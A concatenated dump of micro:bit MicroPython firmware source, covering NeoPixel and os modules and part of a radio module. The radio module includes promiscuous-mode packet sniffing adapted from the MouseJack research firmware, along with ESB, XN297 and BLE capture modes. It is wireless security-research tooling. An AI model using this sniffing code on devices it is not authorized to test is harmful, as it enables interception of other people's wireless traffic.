mp_obj_t neopixel_show_(mp_obj_t self_in); static inline void neopixel_clear_data(neopixel_obj_t *self) { memset(&self->data[0], 0, COL_NUM_COMPONENTS * self->num_pixels); } STATIC mp_obj_t neopixel_make_new(const mp_obj_type_t *type_in, mp_uint_t n_args, mp_uint_t n_kw, const mp_obj_t *args) { (void)type_in; mp_arg_check_num(n_args, n_kw, 2, 2, false); PinName pin = (PinName)microbit_obj_get_pin_name(args[0]); mp_int_t num_pixels = mp_obj_get_int(args[1]); if (num_pixels <= 0) { mp_raise_ValueError("invalid number of pixels"); } neopixel_obj_t *self = m_new_obj_var(neopixel_obj_t, uint8_t, COL_NUM_COMPONENTS * num_pixels); self->base.type = &neopixel_type; self->pin_num = pin; self->num_pixels = num_pixels; neopixel_clear_data(self); // Configure pin as output and set it low nrf_gpio_cfg_output(pin); NRF_GPIO->OUTCLR = (1UL << pin); return self; } STATIC mp_obj_t neopixel_unary_op(mp_uint_t op, mp_obj_t self_in) { neopixel_obj_t *self = (neopixel_obj_t*)self_in; switch (op) { case MP_UNARY_OP_LEN: return MP_OBJ_NEW_SMALL_INT(self->num_pixels); default: return MP_OBJ_NULL; // op not supported } } STATIC mp_obj_t neopixel_subscr(mp_obj_t self_in, mp_obj_t index_in, mp_obj_t value) { neopixel_obj_t *self = (neopixel_obj_t*)self_in; mp_uint_t index = mp_get_index(self->base.type, self->num_pixels, index_in, false); index *= COL_NUM_COMPONENTS; if (value == MP_OBJ_NULL) { // delete item return MP_OBJ_NULL; // op not supported } else if (value == MP_OBJ_SENTINEL) { // load mp_obj_t rgb[COL_NUM_COMPONENTS] = { MP_OBJ_NEW_SMALL_INT(self->data[index + COL_IDX_RED]), MP_OBJ_NEW_SMALL_INT(self->data[index + COL_IDX_GREEN]), MP_OBJ_NEW_SMALL_INT(self->data[index + COL_IDX_BLUE]), }; return mp_obj_new_tuple(COL_NUM_COMPONENTS, rgb); } else { // store mp_obj_t *rgb; mp_obj_get_array_fixed_n(value, COL_NUM_COMPONENTS, &rgb); mp_int_t r = mp_obj_get_int(rgb[0]); mp_int_t g = mp_obj_get_int(rgb[1]); mp_int_t b = mp_obj_get_int(rgb[2]); if (r < 0 || r > 255 || g < 0 || g > 255 || b < 0 || b > 255) { mp_raise_ValueError("invalid colour"); } self->data[index + COL_IDX_RED] = r; self->data[index + COL_IDX_GREEN] = g; self->data[index + COL_IDX_BLUE] = b; return mp_const_none; } } STATIC mp_obj_t neopixel_clear_(mp_obj_t self_in) { neopixel_obj_t *self = (neopixel_obj_t*)self_in; neopixel_clear_data(self); neopixel_show_(self_in); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_1(neopixel_clear_obj, neopixel_clear_); STATIC mp_obj_t neopixel_show_(mp_obj_t self_in) { neopixel_obj_t *self = (neopixel_obj_t*)self_in; // Call external assember to do the time critical pin waggling. // Be aware that this runs with interrupts off. uint32_t pin_mask = (1UL << self->pin_num); NRF_GPIO->OUTCLR = pin_mask; sendNeopixelBuffer(pin_mask, &self->data[0], self->num_pixels); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_1(neopixel_show_obj, neopixel_show_); STATIC const mp_map_elem_t neopixel_locals_dict_table[] = { { MP_OBJ_NEW_QSTR(MP_QSTR_clear), (mp_obj_t)&neopixel_clear_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_show), (mp_obj_t)&neopixel_show_obj }, }; STATIC MP_DEFINE_CONST_DICT(neopixel_locals_dict, neopixel_locals_dict_table); const mp_obj_type_t neopixel_type = { { &mp_type_type }, .name = MP_QSTR_NeoPixel, .print = NULL, .make_new = neopixel_make_new, .call = NULL, .unary_op = neopixel_unary_op, .binary_op = NULL, .attr = NULL, .subscr = neopixel_subscr, .getiter = NULL, .iternext = NULL, .buffer_p = {NULL}, .protocol = NULL, .parent = NULL, .locals_dict = (mp_obj_dict_t*)&neopixel_locals_dict, }; STATIC const mp_map_elem_t neopixel_module_globals_table[] = { { MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR_neopixel) }, { MP_OBJ_NEW_QSTR(MP_QSTR_NeoPixel), (mp_obj_t)&neopixel_type }, }; STATIC MP_DEFINE_CONST_DICT(neopixel_module_globals, neopixel_module_globals_table); const mp_obj_module_t neopixel_module = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)&neopixel_module_globals, }; } ================================================ FILE: micropython/source/microbit/modos.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016 Mark Shannon * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/obj.h" #include "microbit/filesystem.h" #include "py/objtuple.h" #include "py/objstr.h" #include "genhdr/mpversion.h" #include "genhdr/microbitversion.h" #define MICROBIT_VERSION \ "micro:bit v" MICROBIT_RELEASE "+" MICROBIT_GIT_HASH " on " MICROBIT_BUILD_DATE \ "; MicroPython " MICROPY_GIT_TAG " on " MICROPY_BUILD_DATE const char microbit_release_string[] = MICROBIT_RELEASE; const char microbit_version_string[] = MICROBIT_VERSION; STATIC const qstr os_uname_info_fields[] = { MP_QSTR_sysname, MP_QSTR_nodename, MP_QSTR_release, MP_QSTR_version, MP_QSTR_machine }; STATIC const MP_DEFINE_STR_OBJ(os_uname_info_sysname_obj, MICROPY_PY_SYS_PLATFORM); STATIC const MP_DEFINE_STR_OBJ(os_uname_info_nodename_obj, MICROPY_PY_SYS_PLATFORM); STATIC const MP_DEFINE_STR_OBJ(os_uname_info_release_obj, microbit_release_string); STATIC const MP_DEFINE_STR_OBJ(os_uname_info_version_obj, microbit_version_string); STATIC const MP_DEFINE_STR_OBJ(os_uname_info_machine_obj, MICROBIT_BOARD_NAME " with " MICROPY_HW_MCU_NAME); STATIC MP_DEFINE_ATTRTUPLE( os_uname_info_obj, os_uname_info_fields, 5, (mp_obj_t)&os_uname_info_sysname_obj, (mp_obj_t)&os_uname_info_nodename_obj, (mp_obj_t)&os_uname_info_release_obj, (mp_obj_t)&os_uname_info_version_obj, (mp_obj_t)&os_uname_info_machine_obj ); STATIC mp_obj_t os_uname(void) { return (mp_obj_t)&os_uname_info_obj; } STATIC MP_DEFINE_CONST_FUN_OBJ_0(os_uname_obj, os_uname); STATIC MP_DEFINE_CONST_FUN_OBJ_1(microbit_remove_obj, microbit_remove); STATIC MP_DEFINE_CONST_FUN_OBJ_0(microbit_file_list_obj, microbit_file_list); STATIC MP_DEFINE_CONST_FUN_OBJ_1(microbit_file_size_obj, microbit_file_size); static const mp_map_elem_t _globals_table[] = { { MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR_os) }, { MP_OBJ_NEW_QSTR(MP_QSTR_remove), (mp_obj_t)µbit_remove_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_listdir), (mp_obj_t)µbit_file_list_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_size), (mp_obj_t)µbit_file_size_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_uname), (mp_obj_t)&os_uname_obj }, }; static MP_DEFINE_CONST_DICT(_globals, _globals_table); const mp_obj_module_t os_module = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)&_globals, }; ================================================ FILE: micropython/source/microbit/modradio.cpp ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * Contains some code from MouseJack (developed by BastilleResearch) * see: https://github.com/BastilleResearch/nrf-research-firmware/ * * The MIT License (MIT) * * Copyright (c) 2016 Damien P. George * Copyright (c) 2016 Damien Cauquil * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "MicroBitConfig.h" #include "MicroBitImage.h" extern "C" { #include #include #include "py/runtime0.h" #include "py/runtime.h" //#include "microbitobj.h" #include #define RADIO_DEFAULT_MODE (0) #define RADIO_SNIFF_MODE (1) #define RADIO_DEFAULT_MAX_PAYLOAD (32) #define RADIO_SNIFF_MAX_PAYLOAD (38) #define RADIO_DEFAULT_QUEUE_LEN (10) #define RADIO_DEFAULT_CHANNEL (7) #define RADIO_DEFAULT_POWER_DBM (0) #define RADIO_DEFAULT_BASE0 (0x75626974) // "uBit" #define RADIO_DEFAULT_PREFIX0 (0) #define RADIO_DEFAULT_DATA_RATE (RADIO_MODE_MODE_Nrf_1Mbit) #define RADIO_SHORTS_COMMON ( RADIO_SHORTS_READY_START_Msk | RADIO_SHORTS_END_DISABLE_Msk | \ RADIO_SHORTS_ADDRESS_RSSISTART_Msk | RADIO_SHORTS_DISABLED_RSSISTOP_Msk ) typedef enum { MODE_DEFAULT, MODE_SNIFF, MODE_ESB, MODE_SB, MODE_CX, MODE_BLE, MODE_BLE_LL, } radio_mode_t; typedef struct _radio_state_t { uint8_t mode; // radio mode (tx/rx or sniff) uint8_t max_payload; // 1-251 inclusive uint8_t queue_len; // 1-254 inclusive uint8_t channel; // 0-100 inclusive int8_t power_dbm; // one of: -30, -20, -16, -12, -8, -4, 0, 4 uint32_t base0; // for BASE0 register uint8_t prefix0; // for PREFIX0 register (lower 8 bits only) uint8_t data_rate; // one of: RADIO_MODE_MODE_Nrf_{250Kbit,1Mbit,2Mbit} uint8_t pid; // PID for ESB DPL uint8_t sniff_raw; // raw sniffing } radio_state_t; static radio_state_t radio_state; static uint8_t *buf_end = NULL; static uint8_t *rx_buf = NULL; static uint8_t esb_ready = 1; static uint8_t ping_pkt[] = {0x0F, 0x0F, 0x0F, 0x0F}; static uint32_t timestamp = 0; /* BE to LE (and inv.) helper. */ static uint32_t bytewise_bit_swap(uint32_t inp) { inp = (inp & 0xF0F0F0F0) >> 4 | (inp & 0x0F0F0F0F) << 4; inp = (inp & 0xCCCCCCCC) >> 2 | (inp & 0x33333333) << 2; return (inp & 0xAAAAAAAA) >> 1 | (inp & 0x55555555) << 1; } /* CRC16-CCITT with 1-8 bits from a given byte */ uint16_t crc_update(uint16_t crc, uint8_t byte, uint8_t bits) { crc = crc ^ (byte << 8); while(bits--) if((crc & 0x8000) == 0x8000) crc = (crc << 1) ^ 0x1021; else crc = crc << 1; crc = crc & 0xFFFF; return crc; } /* XN297 routines */ static const uint8_t xn297_scramble[] = { 0xe3, 0xb1, 0x4b, 0xea, 0x85, 0xbc, 0xe5, 0x66, 0x0d, 0xae, 0x8c, 0x88, 0x12, 0x69, 0xee, 0x1f, 0xc7, 0x62, 0x97, 0xd5, 0x0b, 0x79, 0xca, 0xcc, 0x1b, 0x5d, 0x19, 0x10, 0x24, 0xd3, 0xdc, 0x3f, 0x8e, 0xc5, 0x2f}; static const uint16_t xn297_crc_xorout[] = { 0x0000, 0x3448, 0x9BA7, 0x8BBB, 0x85E1, 0x3E8C, 0x451E, 0x18E6, 0x6B24, 0xE7AB, 0x3828, 0x814B, 0xD461, 0xF494, 0x2503, 0x691D, 0xFE8B, 0x9BA7, 0x8B17, 0x2920, 0x8B5F, 0x61B1, 0xD391, 0x7401, 0x2138, 0x129F, 0xB3A0, 0x2988}; uint8_t bit_reverse(uint8_t b_in) { uint8_t b_out = 0; for (uint8_t i = 0; i < 8; ++i) { b_out = (b_out << 1) | (b_in & 1); b_in >>= 1; } return b_out; } static const uint16_t polynomial = 0x1021; static const uint16_t initial = 0xb5d2; uint16_t crc16_update(uint16_t crc, unsigned char a) { crc ^= a << 8; for (uint8_t i = 0; i < 8; ++i) { if (crc & 0x8000) { crc = (crc << 1) ^ polynomial; } else { crc = crc << 1; } } return crc; } /** * BLE channel computation routine. **/ uint8_t channel_resolver_get_frequency(uint8_t channel) { uint8_t freq; /* Special cases for the advertise channels */ if(channel == 37) freq = 2; else if(channel == 38) freq = 26; else if(channel == 39) freq = 80; else freq = channel + (channel < 11 ? 2 : 3) * 2; // Spec Vol. 6, Part B, 1.4.1 return freq; } /** * The sniffing code comes from BastilleResearch's MouseJack firmware for * the CrazyRadio PA (based on NRF24LU1P). **/ void RADIO_IRQHandler(void) { if (NRF_RADIO->EVENTS_READY) { NRF_RADIO->EVENTS_READY = 0; NRF_RADIO->TASKS_START = 1; } if (NRF_RADIO->EVENTS_END) { NRF_RADIO->EVENTS_END = 0; if (radio_state.mode == MODE_DEFAULT) { size_t max_len = NRF_RADIO->PCNF1 & 0xff; size_t len = rx_buf[0]; if (len > max_len) { len = max_len; rx_buf[0] = len; } //printf("radio end pos=%d len=%d [%d %d %d %d]\r\n", rx_buf - MP_STATE_PORT(radio_buf), len, rx_buf[0], rx_buf[1], rx_buf[2], rx_buf[3]); // if the CRC is valid then accept the packet if (NRF_RADIO->CRCSTATUS == 1) { //printf("rssi: %d\r\n", -NRF_RADIO->RSSISAMPLE); // only move the rx_buf pointer if there is enough room for another full packet if (rx_buf + 1 + len + 1 + max_len <= buf_end) { rx_buf += 1 + len; NRF_RADIO->PACKETPTR = (uint32_t)rx_buf; } } } else if (radio_state.mode == MODE_SNIFF) { int x, offset; uint8_t payload_length; uint16_t crc, crc_given; uint8_t payload[RADIO_SNIFF_MAX_PAYLOAD]; /* Copy sniffed packet. */ memcpy(payload, rx_buf, radio_state.max_payload); if (!radio_state.sniff_raw) { // In promiscuous mode without a defined address prefix, we attempt to // decode the payload as-is, and then shift it by one bit and try again // if the first attempt did not pass the CRC check. The purpose of this // is to minimize missed detections that happen if we were to use both // 0xAA and 0x55 as the nonzero promiscuous mode address bytes. for(offset = 0; offset < 2; offset++) { // Shift the payload right by one bit if this is the second pass if(offset == 1) { for(x = 31; x >= 0; x--) { if(x > 0) payload[x] = payload[x - 1] << 7 | payload[x] >> 1; else payload[x] = payload[x] >> 1; } } // Read the payload length payload_length = payload[5] >> 2; // Check for a valid payload length, which is less than the usual 32 bytes // because we need to account for the packet header, CRC, and part or all // of the address bytes. if(payload_length <= 40) { // Read the given CRC crc_given = (payload[6 + payload_length] << 9) | ((payload[7 + payload_length]) << 1); crc_given = (crc_given << 8) | (crc_given >> 8); if(payload[8 + payload_length] & 0x80) crc_given |= 0x100; // Calculate the CRC crc = 0xFFFF; for(x = 0; x < 6 + payload_length; x++) crc = crc_update(crc, payload[x], 8); crc = crc_update(crc, payload[6 + payload_length] & 0x80, 1); crc = (crc << 8) | (crc >> 8); /* CRC match ? */ if(crc == crc_given) { /* Kinda lock we use to avoid conflicts. */ esb_ready = 0; /* Write packet size to rx_buf. */ rx_buf[0] = 0xC0 | payload_length; /* Write address to rx_buf. */ memcpy(&rx_buf[1], payload, 5); for(x = 0; x < payload_length + 3; x++) rx_buf[6+x] = ((payload[6 + x] << 1) & 0xFF) | (payload[7 + x] >> 7); // only move the rx_buf pointer if there is enough room for another full packet if (rx_buf + 2*radio_state.max_payload <= buf_end) { rx_buf += radio_state.max_payload; NRF_RADIO->PACKETPTR = (uint32_t)rx_buf; } /* Data updated, ready to be read. */ esb_ready = 1; } } } } else { /* Raw mode, don't take the CRC into account. */ /* Kinda lock we use to avoid conflicts. */ esb_ready = 0; /* Write packet size to rx_buf. */ payload_length = 0x28; rx_buf[0] = 0xC0 | payload_length; /* Write address to rx_buf. */ memcpy(&rx_buf[1], payload, 0x28); // only move the rx_buf pointer if there is enough room for another full packet if (rx_buf + 2*radio_state.max_payload <= buf_end) { rx_buf += radio_state.max_payload; NRF_RADIO->PACKETPTR = (uint32_t)rx_buf; } /* Data updated, ready to be read. */ esb_ready = 1; } } else if (radio_state.mode == MODE_ESB) { size_t len = rx_buf[0]; // if the CRC was valid then accept the packet if (NRF_RADIO->CRCSTATUS == 1) { // only move the rx_buf pointer if there is enough room for another full packet if (rx_buf + 2 + len + 34 <= buf_end) { rx_buf += len + 2; NRF_RADIO->PACKETPTR = (uint32_t)rx_buf; } } } else if (radio_state.mode == MODE_SB) { size_t len = radio_state.max_payload; // only move the rx_buf pointer if there is enough room for another full packet if (rx_buf + 2*radio_state.max_payload <= buf_end) { rx_buf += len; NRF_RADIO->PACKETPTR = (uint32_t)rx_buf; } } else if (radio_state.mode == MODE_CX) { size_t len = radio_state.max_payload; /* Unscramble packet. */ for (uint8_t i=0; iPACKETPTR = (uint32_t)rx_buf; } } else if (radio_state.mode == MODE_BLE) { size_t len = rx_buf[1]; // if the CRC was valid then accept the packet if ((NRF_RADIO->CRCSTATUS == 1)) { // shift rx buffer by 5 bytes for (uint8_t i=40;i!=0;i--) { rx_buf[i+5] = rx_buf[i]; } rx_buf[5] = rx_buf[0]; // add current channel and timestamp //timestamp = uBit.systemTime(); timestamp = 0; memcpy((void*)&rx_buf[1], ×tamp, 4); rx_buf[0] = radio_state.channel; // only move the rx_buf pointer if there is enough room for another full packet if (rx_buf + len + 45 + 8 <= buf_end) { rx_buf += len + 8; NRF_RADIO->PACKETPTR = (uint32_t)rx_buf; } } } NRF_RADIO->TASKS_START = 1; } } static void ensure_enabled(void) { if (MP_STATE_PORT(radio_buf) == NULL) { nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, "radio is not enabled")); } } static void radio_disable(void) { NVIC_DisableIRQ(RADIO_IRQn); NRF_RADIO->EVENTS_DISABLED = 0; NRF_RADIO->TASKS_DISABLE = 1; while (NRF_RADIO->EVENTS_DISABLED == 0); // free any old buffers if (MP_STATE_PORT(radio_buf) != NULL) { m_del(uint8_t, MP_STATE_PORT(radio_buf), buf_end - MP_STATE_PORT(radio_buf)); MP_STATE_PORT(radio_buf) = NULL; } } static void radio_enable(void) { radio_disable(); // Enable default mode radio_state.mode = MODE_DEFAULT; radio_state.sniff_raw = 0; // allocate tx and rx buffers size_t max_payload = radio_state.max_payload + 1; // an extra byte to store the length size_t queue_len = radio_state.queue_len + 1; // one extra for tx buffer MP_STATE_PORT(radio_buf) = m_new(uint8_t, max_payload * queue_len); buf_end = MP_STATE_PORT(radio_buf) + max_payload * queue_len; rx_buf = MP_STATE_PORT(radio_buf) + max_payload; // start is tx buffer // Enable the High Frequency clock on the processor. This is a pre-requisite for // the RADIO module. Without this clock, no communication is possible. NRF_CLOCK->EVENTS_HFCLKSTARTED = 0; NRF_CLOCK->TASKS_HFCLKSTART = 1; while (NRF_CLOCK->EVENTS_HFCLKSTARTED == 0); // power should be one of: -30, -20, -16, -12, -8, -4, 0, 4 NRF_RADIO->TXPOWER = radio_state.power_dbm; // should be between 0 and 100 inclusive (actual physical freq is 2400MHz + this register) NRF_RADIO->FREQUENCY = radio_state.channel; // configure data rate NRF_RADIO->MODE = radio_state.data_rate; // The radio supports filtering packets at the hardware level based on an address. // We use a 5-byte address comprised of 4 bytes (set by BALEN=4 below) from the BASEx // register, plus 1 byte from PREFIXm.APn. // The (x,m,n) values are selected by the logical address. We use logical address 0 // which means using BASE0 with PREFIX0.AP0. NRF_RADIO->BASE0 = radio_state.base0; NRF_RADIO->PREFIX0 = radio_state.prefix0; NRF_RADIO->TXADDRESS = 0; // transmit on logical address 0 NRF_RADIO->RXADDRESSES = 1; // a bit mask, listen only to logical address 0 // LFLEN=8 bits, S0LEN=0, S1LEN=0 NRF_RADIO->PCNF0 = 0x00000008; // STATLEN=0, BALEN=4, ENDIAN=0 (little), WHITEEN=1 NRF_RADIO->PCNF1 = 0x02040000 | radio_state.max_payload; // Enable automatic 16bit CRC generation and checking, and configure how the CRC is calculated. NRF_RADIO->CRCCNF = RADIO_CRCCNF_LEN_Two; NRF_RADIO->CRCINIT = 0xFFFF; NRF_RADIO->CRCPOLY = 0x11021; // Set the start random value of the data whitening algorithm. This can be any non zero number. NRF_RADIO->DATAWHITEIV = 0x18; // set receive buffer NRF_RADIO->PACKETPTR = (uint32_t)rx_buf; // configure interrupts NRF_RADIO->INTENSET = 0x00000008; NVIC_ClearPendingIRQ(RADIO_IRQn); NVIC_EnableIRQ(RADIO_IRQn); NRF_RADIO->SHORTS |= RADIO_SHORTS_ADDRESS_RSSISTART_Msk; // enable receiver NRF_RADIO->EVENTS_READY = 0; NRF_RADIO->TASKS_RXEN = 1; while (NRF_RADIO->EVENTS_READY == 0); NRF_RADIO->EVENTS_END = 0; NRF_RADIO->TASKS_START = 1; } /* Enable sniff mode based on Goodspeed's hack */ static void radio_enable_sniff(void) { radio_disable(); // Sniff mode on radio_state.mode = MODE_SNIFF; radio_state.max_payload = 38; // 38 bytes to be sure to get 32 bytes payloads :) // allocate tx and rx buffers size_t max_payload = 40; // an extra byte to store the length size_t queue_len = radio_state.queue_len; // one extra for tx buffer MP_STATE_PORT(radio_buf) = m_new(uint8_t, max_payload * queue_len); buf_end = MP_STATE_PORT(radio_buf) + max_payload * queue_len; rx_buf = MP_STATE_PORT(radio_buf) + max_payload; // start is tx buffer // Enable the High Frequency clock on the processor. This is a pre-requisite for // the RADIO module. Without this clock, no communication is possible. NRF_CLOCK->EVENTS_HFCLKSTARTED = 0; NRF_CLOCK->TASKS_HFCLKSTART = 1; while (NRF_CLOCK->EVENTS_HFCLKSTARTED == 0); // power should be one of: -30, -20, -16, -12, -8, -4, 0, 4 NRF_RADIO->TXPOWER = radio_state.power_dbm; // should be between 0 and 100 inclusive (actual physical freq is 2400MHz + this register) NRF_RADIO->FREQUENCY = radio_state.channel; // configure data rate NRF_RADIO->MODE = radio_state.data_rate; // The radio supports filtering packets at the hardware level based on an address. // We use a 5-byte address comprised of 4 bytes (set by BALEN=4 below) from the BASEx // register, plus 1 byte from PREFIXm.APn. // The (x,m,n) values are selected by the logical address. We use logical address 0 // which means using BASE0 with PREFIX0.AP0. NRF_RADIO->BASE0 = 0x00000000; NRF_RADIO->PREFIX0 = 0x55; // preamble // LFLEN=0 bits, S0LEN=0, S1LEN=0 NRF_RADIO->PCNF0 = 0x00000000; // STATLEN=40, MAXLEN=40, BALEN=1, ENDIAN=1 (big), WHITEEN=0 NRF_RADIO->PCNF1 = 0x01012828; // Disable CRC NRF_RADIO->CRCCNF = 0x0; NRF_RADIO->CRCINIT = 0xFFFF; NRF_RADIO->CRCPOLY = 0x11021; // set receive buffer NRF_RADIO->PACKETPTR = (uint32_t)rx_buf; // configure interrupts NRF_RADIO->INTENSET = 0x00000008; NVIC_ClearPendingIRQ(RADIO_IRQn); NVIC_EnableIRQ(RADIO_IRQn); //NRF_RADIO->SHORTS |= RADIO_SHORTS_ADDRESS_RSSISTART_Msk; NRF_RADIO->SHORTS = 0; // enable receiver NRF_RADIO->EVENTS_READY = 0; NRF_RADIO->TASKS_RXEN = 1; while (NRF_RADIO->EVENTS_READY == 0); NRF_RADIO->EVENTS_END = 0; NRF_RADIO->TASKS_START = 1; } /** * Enhanced ShockBurst mode * * This mode is a simplistic implementation of ESB with no Auto-ack feature and * a fixed 16-bit CRC as used by the default implementation in NRF24L01+. It * uses a small amount of memory but allows to transmit and receive data based * on one of the most classic configuration. * * Sniffing is also possible thanks to Travis Goodspeed's NRF24L01+ hack, that * still works with NRF51 SDK \o/ * * This mode should be used from Python as following: * * >> radio.on() * >> radio.config(channel=10, address=0x11223344, group=0x55) * >> radio.esb() * >> radio.send_bytes(b'TROLOLO') * >> pkt = radio.receive() **/ static void radio_enable_esb(void) { radio_disable(); // Sniff mode on radio_state.mode = MODE_ESB; // allocate tx and rx buffers size_t max_payload = 34; // an extra byte to store the length size_t queue_len = radio_state.queue_len; // one extra for tx buffer MP_STATE_PORT(radio_buf) = m_new(uint8_t, max_payload * queue_len); buf_end = MP_STATE_PORT(radio_buf) + max_payload * queue_len; rx_buf = MP_STATE_PORT(radio_buf) + max_payload; // start is tx buffer // Enable the High Frequency clock on the processor. This is a pre-requisite for // the RADIO module. Without this clock, no communication is possible. NRF_CLOCK->EVENTS_HFCLKSTARTED = 0; NRF_CLOCK->TASKS_HFCLKSTART = 1; while (NRF_CLOCK->EVENTS_HFCLKSTARTED == 0); // power should be one of: -30, -20, -16, -12, -8, -4, 0, 4 NRF_RADIO->TXPOWER = radio_state.power_dbm; // should be between 0 and 100 inclusive (actual physical freq is 2400MHz + this register) NRF_RADIO->FREQUENCY = radio_state.channel; // configure default data rate NRF_RADIO->MODE = RADIO_MODE_MODE_Nrf_2Mbit; radio_state.data_rate = RADIO_MODE_MODE_Nrf_2Mbit; // The radio supports filtering packets at the hardware level based on an address. // We use a 5-byte address comprised of 4 bytes (set by BALEN=4 below) from the BASEx // register, plus 1 byte from PREFIXm.APn. // The (x,m,n) values are selected by the logical address. We use logical address 0 // which means using BASE0 with PREFIX0.AP0. // // ESB mode uses address as big endian, combined with group with a default address // size of 5 bytes (mostly used on ESB compatible devices). // ESB address is composed of address.group, for instance to address device // 11:22:33:44:55 then use: address=0x11223344 and group=0x55. NRF_RADIO->BASE0 = bytewise_bit_swap( (radio_state.base0 & 0x000000ff)<<24 | (radio_state.base0 & 0xff000000)>>24 | (radio_state.base0 & 0x0000ff00)<< 8 | (radio_state.base0 & 0x00ff0000)>> 8 ); NRF_RADIO->PREFIX0 = bytewise_bit_swap(radio_state.prefix0); // LFLEN=6 bits, S0LEN=0, S1LEN=3 NRF_RADIO->PCNF0 = (0 << RADIO_PCNF0_S0LEN_Pos) | (6 << RADIO_PCNF0_LFLEN_Pos) | (3 << RADIO_PCNF0_S1LEN_Pos); // STATLEN=0, BALEN=4, ENDIAN=1 (big), WHITEEN=0 NRF_RADIO->PCNF1 = (RADIO_PCNF1_WHITEEN_Disabled << RADIO_PCNF1_WHITEEN_Pos) | (RADIO_PCNF1_ENDIAN_Big << RADIO_PCNF1_ENDIAN_Pos) | ((4) << RADIO_PCNF1_BALEN_Pos) | (0 << RADIO_PCNF1_STATLEN_Pos) | (38 << RADIO_PCNF1_MAXLEN_Pos); NRF_RADIO->TXADDRESS = 0; // transmit on logical address 0 NRF_RADIO->RXADDRESSES = 1; // a bit mask, listen only to logical address 0 NRF_RADIO->CRCCNF = RADIO_CRCCNF_LEN_Two; NRF_RADIO->CRCINIT = 0xFFFF; NRF_RADIO->CRCPOLY = 0x11021; // set receive buffer NRF_RADIO->PACKETPTR = (uint32_t)rx_buf; // configure interrupts NRF_RADIO->INTENSET = 0x00000008; NVIC_ClearPendingIRQ(RADIO_IRQn); NVIC_EnableIRQ(RADIO_IRQn); NRF_RADIO->SHORTS = 0; // enable receiver NRF_RADIO->EVENTS_READY = 0; NRF_RADIO->TASKS_RXEN = 1; while (NRF_RADIO->EVENTS_READY == 0); NRF_RADIO->EVENTS_END = 0; NRF_RADIO->TASKS_START = 1; } static void radio_enable_sb(void) { radio_disable(); // Sniff mode on radio_state.mode = MODE_SB; // allocate tx and rx buffers size_t max_payload = radio_state.max_payload; // an extra byte to store the length size_t queue_len = radio_state.queue_len; // one extra for tx buffer MP_STATE_PORT(radio_buf) = m_new(uint8_t, max_payload * queue_len); buf_end = MP_STATE_PORT(radio_buf) + max_payload * queue_len; rx_buf = MP_STATE_PORT(radio_buf) + max_payload; // start is tx buffer // Enable the High Frequency clock on the processor. This is a pre-requisite for // the RADIO module. Without this clock, no communication is possible. NRF_CLOCK->EVENTS_HFCLKSTARTED = 0; NRF_CLOCK->TASKS_HFCLKSTART = 1; while (NRF_CLOCK->EVENTS_HFCLKSTARTED == 0); // power should be one of: -30, -20, -16, -12, -8, -4, 0, 4 NRF_RADIO->TXPOWER = radio_state.power_dbm; // should be between 0 and 100 inclusive (actual physical freq is 2400MHz + this register) NRF_RADIO->FREQUENCY = radio_state.channel; // configure default data rate NRF_RADIO->MODE = radio_state.data_rate; // The radio supports filtering packets at the hardware level based on an address. // We use a 5-byte address comprised of 4 bytes (set by BALEN=4 below) from the BASEx // register, plus 1 byte from PREFIXm.APn. // The (x,m,n) values are selected by the logical address. We use logical address 0 // which means using BASE0 with PREFIX0.AP0. // // ESB mode uses address as big endian, combined with group with a default address // size of 5 bytes (mostly used on ESB compatible devices). // ESB address is composed of address.group, for instance to address device // 11:22:33:44:55 then use: address=0x11223344 and group=0x55. NRF_RADIO->BASE0 = bytewise_bit_swap( (radio_state.base0 & 0x000000ff)<<24 | (radio_state.base0 & 0xff000000)>>24 | (radio_state.base0 & 0x0000ff00)<< 8 | (radio_state.base0 & 0x00ff0000)>> 8 ); NRF_RADIO->PREFIX0 = bytewise_bit_swap(radio_state.prefix0); 